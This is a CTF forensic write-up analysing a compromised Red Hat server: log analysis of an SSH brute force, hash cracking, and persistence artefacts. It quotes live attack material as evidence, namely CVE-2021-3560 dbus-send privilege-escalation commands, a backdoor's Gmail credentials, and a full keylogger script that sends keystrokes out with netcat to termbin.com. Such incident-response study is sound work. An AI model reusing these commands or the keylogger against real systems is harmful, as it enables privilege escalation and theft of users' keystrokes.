CTF01: Cyberdefenders.org

CyberDefenders put on their first CTF. I cam in 30th out of 58 teams with a score of 1000 out of 1450. Three questions were not answered: 4, 12, and 15.

Their scenario is as follows:

You have been called to analyze a compromised Linux server. Figure out how the threat actor gained access, what modifications were applied to the system, and what persistent techniques were utilized. (e.g. backdoors, users, sessions, etc).

The challenge zip file contains a full (or maybe near complete) RedHat Enterprise Linux server compressed to a 3.5G file.

Step 1: Mounting the e01 image from the zip file

SANS's Digital Forensic SIFTing - Mounting Evidence Image Files gives some hints on how to do this. I am using Tsurugi OS instead of SIFT.

Mounting the E01:

sudo ewfmount ~/Desktop/RedHat/02.E01 /mnt/raw1
ewfmount command

This shows the E01 holding raw image mounted. Next, need to mount the image itself on a loopback device.

sudo mount /mnt/raw1/ewf1 /mnt/ewf1 -o ro,loop

I had to remove several of the extra options to get this to work. So, you may have to modify the options from the SANS blog above.

Mounting the ewf1 from inside the E01 image

As noted before, there appears to be a complete Linux file structure.

Questions

  1. What is the RHEL version of the operating system? 8.4

    tsurugi@tsurugi-vm:/mnt/ewf1$ cat etc/system-release
    Red Hat Enterprise Linux release 8.4 (Ootpa)
    
  2. How many users had a login shell? 6

    This shows logins on the system but only shows 4 users. I guess this one. I'll have to look at this again in better details.

    This is one is strange, for sure. I was thinking "was logged in with a login shell" or something along those lines. I was not thinking they could get a login shell. Do this:

    root@tsurugi-vm:/mnt/ewf1# grep -i /bin/bash etc/passwd
    root:x:0:0:root:/root:/bin/bash
    cyberdefenders:x:1000:1000:cyberdefenders:/home/cyberdefenders:/bin/bash
    rossatron:x:1001:1001::/home/rossatron:/bin/bash
    chandler:x:1002:1002::/home/chandler:/bin/bash
    tribbiani.j:x:1003:1003::/home/tribbiani.j:/bin/bash
    rachel:x:1004:1004:Anon:/home/rachel:/bin/bash
    root@tsurugi-vm:/mnt/ewf1# grep -i /bin/bash etc/passwd | wc -l
    6
    
  3. How many users were allowed to run the SUDO command on the system? 2

    /etc/sudoers file contains who can run SUDO on the system. Examing that file gives the following output:

    tsurugi@tsurugi-vm:/mnt/ewf1$ sudo grep -v "#" etc/sudoers | grep -v "Defaults" | sed -e '/^$/d'
    root	ALL=(ALL) 	ALL
    %wheel	ALL=(ALL)	ALL
    

    Note that grep -v is an reverse match--match everything but this. The sed command removes empty lines.

    OR using just sed:

    tsurugi@tsurugi-vm:/mnt/ewf1$ sudo sed -e '/^$/d; /^#/d; /^Defaults/d' etc/sudoers
    root	ALL=(ALL) 	ALL
    %wheel	ALL=(ALL)	ALL
    

    So, first we have root (but it is not a "user" so ignore it) and every user in the wheel group. Groups are stored in /etc/group as shown below:

    tsurugi@tsurugi-vm:/mnt/ewf1$ sudo grep "wheel" etc/group
    wheel:x:10:cyberdefenders,rachel
    
  4. (Missed) What is the password for 'rossatron' account? rachelgreen

    First you need to unshadow the password/shadow files using the `unshadow:

    root@tsurugi-vm:~/password_crack# unshadow passwd shadow | grep rossatron > hashes.txt
    root@tsurugi-vm:~/password_crack# cat hashes.txt
    rossatron:$6$VXPKT.St9Jp0S2FH$EKA.JwvuEIT175KLTbZS61sEsOz6vDbeh5/2iFDfpm3.roox5WYt999a4hrYcTXNfnEoLnWJuC4xo0NPmBirl0:1001:1001::/home/rossatron:/bin/bash
    

    This puts the file in the right format for John the Ripper. You need to grab the rockyou.txt wordlist. You can read about the two breaches part of "Rock You" dataset here and here. Extract the wordlist then get to cracking the password. This may take a long while to crack if you are in a virtual machine.

    root@tsurugi-vm:~/password_crack# john --wordlist=rockyou.txt hashes.txt
    Using default input encoding: UTF-8
    Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
    Cost 1 (iteration count) is 5000 for all loaded hashes
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    rachelgreen      (rossatron)
    1g 0:00:34:27 DONE (2021-09-30 19:35) 0.000483g/s 142.9p/s 142.9c/s 142.9C/s raners..queen03
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed
    
  5. What was the victim's ip address? 192.168.196.129

    Network Manager is installed and running. It logs in the /var/log/messages file.

    root@tsurugi-vm:/mnt/ewf1/var/log# cat messages | grep dhcp | head
    Aug 23 09:45:43 localhost NetworkManager[1209]: <info>  [1629726343.4091] dhcp-init: Using DHCP client 'internal'
    Aug 23 09:45:44 localhost NetworkManager[1209]: <info>  [1629726344.0862] dhcp4 (ens160): activation: beginning transaction (timeout in 45 seconds)
    Aug 23 09:45:45 localhost NetworkManager[1209]: <info>  [1629726345.0913] dhcp4 (ens160): state changed unknown -> bound, address=192.168.196.129
    
  6. What service did the attacker use to gain access to the system? ssh

    Authenication is logged in /var/log/secure and below is part of that file sorted.

    root@tsurugi-vm:/mnt/ewf1/var/log# cat secure | grep -ie "failed\|accepted" | cut -d " " -f 5- | sort | uniq -c
          1 gdm-password][41138]: pam_unix(gdm-password:auth): conversation failed
          1 polkitd[3478]: Operator of unix-session:11 FAILED to authenticate to gain authorization for action org.freedesktop.packagekit.system-sources-refresh for system-bus-name::1.2709 [/usr/bin/gnome-software --gapplication-service] (owned by unix-user:tribbiani.j)
          1 polkitd[3478]: Operator of unix-session:11 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.2723 [/usr/libexec/gnome-initial-setup --existing-user] (owned by unix-user:tribbiani.j)
          1 polkitd[3478]: Operator of unix-session:5 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.1154 [/usr/libexec/gnome-initial-setup --existing-user] (owned by unix-user:chandler)
          1 polkitd[3478]: Operator of unix-session:8 FAILED to authenticate to gain authorization for action org.freedesktop.packagekit.system-sources-refresh for system-bus-name::1.1815 [/usr/bin/gnome-software --gapplication-service] (owned by unix-user:rossatron)
          1 polkitd[3478]: Operator of unix-session:8 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.1829 [/usr/libexec/gnome-initial-setup --existing-user] (owned by unix-user:rossatron)
          1 sshd[2217]: Accepted password for rachel from 192.168.196.128 port 49550 ssh2
          2 sshd[2979]: Accepted key RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ found at /home/chandler/.ssh/authorized_keys:1
          1 sshd[2979]: Accepted publickey for chandler from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ
          1 sshd[3005]: Accepted password for rachel from 192.168.196.128 port 48764 ssh2
          1 sshd[39495]: Accepted password for rossatron from 192.168.196.1 port 1074 ssh2
          1 sshd[39731]: Accepted password for chandler from 192.168.196.125 port 1152 ssh2
          1 sshd[39913]: Accepted password for tribbiani.j from 192.168.196.176 port 1204 ssh2
          6 sshd[40133]: Failed password for invalid user ross from 192.168.196.128 port 37022 ssh2
          6 sshd[40134]: Failed password for invalid user ross from 192.168.196.128 port 37028 ssh2
          6 sshd[40135]: Failed password for invalid user ross from 192.168.196.128 port 37024 ssh2
          6 sshd[40136]: Failed password for invalid user ross from 192.168.196.128 port 37026 ssh2
          3 sshd[40144]: Failed password for invalid user ross from 192.168.196.128 port 37042 ssh2
          3 sshd[40145]: Failed password for invalid user ross from 192.168.196.128 port 37044 ssh2
          4 sshd[40146]: Failed password for invalid user ross from 192.168.196.128 port 37040 ssh2
          3 sshd[40147]: Failed password for invalid user ross from 192.168.196.128 port 37050 ssh2
          5 sshd[40161]: Failed password for rossatron from 192.168.196.128 port 37052 ssh2
          1 sshd[40162]: Accepted password for rossatron from 192.168.196.128 port 37056 ssh2
          4 sshd[40162]: Failed password for rossatron from 192.168.196.128 port 37056 ssh2
          5 sshd[40163]: Failed password for rossatron from 192.168.196.128 port 37054 ssh2
          4 sshd[40170]: Failed password for rossatron from 192.168.196.128 port 37058 ssh2
          6 sshd[40189]: Failed password for chandler from 192.168.196.128 port 37060 ssh2
    

    One thing to note here, the number of failed password for different users from the 192.168.196.128 using the ssh service. ssh was the service used and 192.168.196.128 is the attacker's IP.

  7. What was the attacker's IP address? 192.168.196.128 (see above)

  8. What authenication attack did the attack use to gain access to the system? (one word no spaces)? bruteforce (see Q7 for log output)

  9. How many accounts was the attacker able to get their password? 2

    Here we grep /var/log/secure. The first 3 lines are "real" logins. The next line (#4) is using the password for rossatron and next chandler. rachel was changed by the chandler account and doesn't count for this.

    root@tsurugi-vm:/mnt/ewf1# grep -i accepted var/log/secure 
    Aug 23 13:57:27 localhost sshd[39495]: Accepted password for rossatron from 192.168.196.1 port 1074 ssh2
    Aug 23 14:00:02 localhost sshd[39731]: Accepted password for chandler from 192.168.196.125 port 1152 ssh2
    Aug 23 14:00:43 localhost sshd[39913]: Accepted password for tribbiani.j from 192.168.196.176 port 1204 ssh2
    Aug 23 14:03:10 localhost sshd[40162]: Accepted password for rossatron from 192.168.196.128 port 37056 ssh2
    Aug 23 14:03:59 localhost sshd[40326]: Accepted password for chandler from 192.168.196.128 port 37074 ssh2
    Aug 23 14:29:59 localhost sshd[40918]: Accepted password for chandler from 192.168.196.128 port 37116 ssh2
    Aug 23 20:32:36 localhost sshd[42491]: Accepted password for chandler from 192.168.196.128 port 48734 ssh2
    Aug 23 20:39:35 localhost sshd[42744]: Accepted password for chandler from 192.168.196.128 port 48742 ssh2
    Aug 23 20:48:44 localhost sshd[43029]: Accepted publickey for chandler from 192.168.196.128 port 48744 ssh2: RSA SHA256:hMkpnF6PyOrGKmWMEz1YWJZPh4La7tt2GlWgyG1cGfc
    Aug 24 08:03:54 localhost sshd[43916]: Accepted password for chandler from 192.168.196.128 port 48748 ssh2
    Aug 24 08:04:33 localhost sshd[44161]: Accepted publickey for chandler from 192.168.196.128 port 48750 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ
    Aug 24 08:24:19 localhost sshd[2979]: Accepted key RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ found at /home/chandler/.ssh/authorized_keys:1
    Aug 24 08:24:19 localhost sshd[2979]: Accepted key RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ found at /home/chandler/.ssh/authorized_keys:1
    Aug 24 08:24:19 localhost sshd[2979]: Accepted publickey for chandler from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ
    Aug 24 08:51:03 localhost sshd[3005]: Accepted password for rachel from 192.168.196.128 port 48764 ssh2
    Aug 24 09:11:11 localhost sshd[2217]: Accepted password for rachel from 192.168.196.128 port 49550 ssh2
    
    
  10. When did the attack start? 23/08/2021

    Again, using the /var/log/secure file:

    root@tsurugi-vm:/mnt/ewf1/var/log# cat secure | grep  "192\.168\.196\.128"
    Aug 23 14:02:01 localhost sshd[40131]: Invalid user ross from 192.168.196.128 port 37020
    Aug 23 14:02:01 localhost sshd[40131]: Received disconnect from 192.168.196.128 port 37020:11: Bye Bye [preauth]
    Aug 23 14:02:01 localhost sshd[40131]: Disconnected from invalid user ross 192.168.196.128 port 37020 [preaut]
    

    This gives us the date but what bout the year?

    root@tsurugi-vm:/mnt/ewf1/var/log# cat messages | grep -i time | head -n 50
    <snip>
    Aug 23 09:45:41 localhost chronyd[1061]: Using right/UTC timezone to obtain leap second data
    Aug 23 09:45:42 localhost systemd[1]: Started RealtimeKit Scheduling Policy Service.
    Aug 23 09:45:42 localhost run-initial-setup[1099]: (==) Log file: "/var/log/Xorg.9.log", Time: Mon Aug 23 09:45:42 2021
    Aug 23 09:45:42 localhost kernel: hrtimer: interrupt took 3020370 ns
    Aug 23 09:45:43 localhost NetworkManager[1209]: <info>  [1629726343.3389] NetworkManager (version 1.30.0-10.el8_4) is starting... (for the first time)
    Aug 23 09:45:44 localhost NetworkManager[1209]: <info>  [1629726344.0862] dhcp4 (ens160): activation: beginning transaction (timeout in 45 seconds)
    

    The Xorg service logs the full time. Giving the year "2021." It's always a good idea to check your time information.

  11. What is the compromised user account used to gain initial access to the system? chandler

    Let's head back into /var/log/secure:

    root@tsurugi-vm:/mnt/ewf1/var/log# cat secure | grep -ie "accepted" | grep  "192\.168\.196\.128"
    Aug 23 14:03:10 localhost sshd[40162]: Accepted password for rossatron from 192.168.196.128 port 37056 ssh2
    Aug 23 14:03:59 localhost sshd[40326]: Accepted password for chandler from 192.168.196.128 port 37074 ssh2
    Aug 23 14:29:59 localhost sshd[40918]: Accepted password for chandler from 192.168.196.128 port 37116 ssh2
    Aug 23 20:32:36 localhost sshd[42491]: Accepted password for chandler from 192.168.196.128 port 48734 ssh2
    Aug 23 20:39:35 localhost sshd[42744]: Accepted password for chandler from 192.168.196.128 port 48742 ssh2
    Aug 23 20:48:44 localhost sshd[43029]: Accepted publickey for chandler from 192.168.196.128 port 48744 ssh2: RSA SHA256:hMkpnF6PyOrGKmWMEz1YWJZPh4La7tt2GlWgyG1cGfc
    Aug 24 08:03:54 localhost sshd[43916]: Accepted password for chandler from 192.168.196.128 port 48748 ssh2
    Aug 24 08:04:33 localhost sshd[44161]: Accepted publickey for chandler from 192.168.196.128 port 48750 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ
    Aug 24 08:24:19 localhost sshd[2979]: Accepted publickey for chandler from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ
    Aug 24 08:51:03 localhost sshd[3005]: Accepted password for rachel from 192.168.196.128 port 48764 ssh2
    Aug 24 09:11:11 localhost sshd[2217]: Accepted password for rachel from 192.168.196.128 port 49550 ssh2
    

    Most of the logins seems to check the password, however, the user chandler is logged in using a publickey which could be an automatic login method and thus the initial access to the system.

  12. (Missed) What is the MITRE ID of the technique used to achieve persistence after the inital access? T1098.004

    If we take a look at the root's crontab, we have a command here using the c2c.py script previously found. implant causes the script to run in the background and 3133337 is the system-id for the malware.

    root@tsurugi-vm:/mnt/ewf1# cat var/spool/cron/root
    @reboot /usr/bin/python2 /usr/bin/c2c.py implant 3133337

    So the following seem to match (though, neither worked):

    * T1574.XXX - Boot or Logon Autostart Execution
    * T1037.XXX - Boot or Logon Initialization Scripts

    Apparently, this direction was completely incorrect, if you look at root@tsurugi-vm:/mnt/ewf1# cat home/chandler/.bash_history you will see a line cat .ssh/authorized_keys which has a recent modification date. I think the script p3333r.sh modified the ssh keys. This script was not located on the computer. Check MITRE T1098.004.

  13. What is the CVE number used by the attack to escalate privilages? CVE-2021-3560

    I was checking the .bash_history files and came across these dbug-send commands. These would be very strange for a user to use. Quick google search, yielded the CVE

    root@tsurugi-vm:/mnt/ewf1# cat home/chandler/.bash_history | grep dbus-send
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:rachel string:"Anon" int32:1 & sleep 0.008s ; kill $!; cat /etc/passwd
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1004 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!
    
  14. The attacker dropped a backdoor to achieve persistence. The backdoor received commands from a Gmail account. What is the email used to send commands? cdefender16@gmail.com

    Running this command shows me the files sorted by modification date, and since the files dropped on the box would be "current," this has the best chance to finding the files

    root@tsurugi-vm:/mnt/ewf1/sbin# ls -alht ../bin | less
    # <snip>
    lrwxrwxrwx.  1 root root   25 Aug 23 09:06 mkisofs -> /etc/alternatives/mkisofs
    lrwxrwxrwx.  1 root root   24 Aug 23 09:06 unversioned-python -> /etc/alternatives/python
    drwxr-xr-x. 12 root root 4.0K Aug 23 09:05 ..
    -rw-r--r--.  1 root root 1.9K Aug 20 18:25 c2c.py
    -rwxr-xr-x.  1 root root 7.2K Aug  5 15:33 firefox
    -rwxr-xr-x.  1 root root 213K Aug  5 08:37 exiv2
    -rwxr-xr-x.  1 root root  78K Jul 28 07:56 busctl
    # <snip>
    

    The file c2c.py stands out as a non-standard file. Also, "c2c" might stand for "command&control". Searching this file reveals:

    username = 'cdefender16@gmail.com'
    passwd = 'dumbledorearmy'
    
  15. (Missed) The attacker downloaded a keylogger to capture users' keystrokes. What is the secret word the attack was able to exfiltrate? HAVEAGOOOODDAY

    Sorting /etc by date, you get the following list of files. xfil.py stands out here: (1) new file and (2) python script inside the /etc which does not normally happen.

    root@tsurugi-vm:/mnt/ewf1# ls -lat etc | head
    total 1884
    drwxr-xr-x.   4 root lp     4096 Aug 24 10:07 cups
    drwxr-xr-x. 143 root root  12288 Aug 24 10:05 .
    -rw-r--r--.   1 root root     74 Aug 24 10:05 resolv.conf
    -rw-r--r--.   1 root root    457 Aug 24 09:31 xfil.py
    -rw-r--r--.   1 root root  43067 Aug 24 08:52 ld.so.cache
    drwxr-xr-x.   2 root root   4096 Aug 24 08:52 bash_completion.d
    ----------.   1 root root   1847 Aug 24 08:28 shadow
    -rw-r--r--.   1 root root   2774 Aug 24 08:28 passwd
    -rw-r--r--.   1 root root   2774 Aug 24 08:28 passwd-
    

    You can also see it inside the /var/log/secure log file:

    Aug 24 09:15:29 localhost sudo[3218]:  rachel : TTY=pts/0 ; PWD=/home/rachel ; USER=root ; COMMAND=/bin/cat /root/exfil.txt
    Aug 24 09:16:01 localhost sudo[3234]:  rachel : TTY=pts/0 ; PWD=/home/rachel ; USER=root ; COMMAND=/bin/python2 /etc/xfil.py
    
    

    If you look at the script, you get the following:

    import subprocess, binascii, hashlib, random, string, time
    
    f = open("/dev/input/event1","rb")
    data = ''
    
    rec = time.time()
    while time.time() < rec+10:
        data += f.read(24)
    f.close()
    print("test")
    link = subprocess.Popen('echo {} | nc termbin.com 9999'.format(data.encode('hex')), shell=True, stdout=subprocess.PIPE).communicate()[0][20:-2]
    print(link)
    with open("xfil.txt", "w") as file1:
        # Writing data to a file
        file1.write(link)
        file1.close
    

    Here, you should note the following:

    • nc termbin.com 9999 <-- netcat and termbin.com is a "Terminal Pastebin"

    • xfil.txt <-- find this on the computer at /home/rachel/xfil.txt:

      iof5
      

    This gives the full url of http://termbin.com/iof5 but that gives 404. So, https://web.archive.org/web/20210825050145/termbin.com/iof5 works. You then get a string of hex (shown below).

termbin.com/iof5
  1. (continued)
    Save the file to a .bin:

    root@tsurugi-vm:/home/tsurugi/Desktop# curl https://web.archive.org/web/20210825050145/termbin.com/iof5 | xxd -r -ps > message.bin
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100  8689    0  8689    0     0   2005      0 --:--:--  0:00:04 --:--:--  2005
    

    The binary data is encoded keyboard strokes from the keylogger. Grab a copy of the keyboard_stream.py which decodes the stream of data.

    root@tsurugi-vm:/home/tsurugi/Desktop# python3 keyboard_stream.py 
    YOUR SECRET IS HAVEAGOOOODDAY 
    
Jesse Spangenberger

Jesse Spangenberger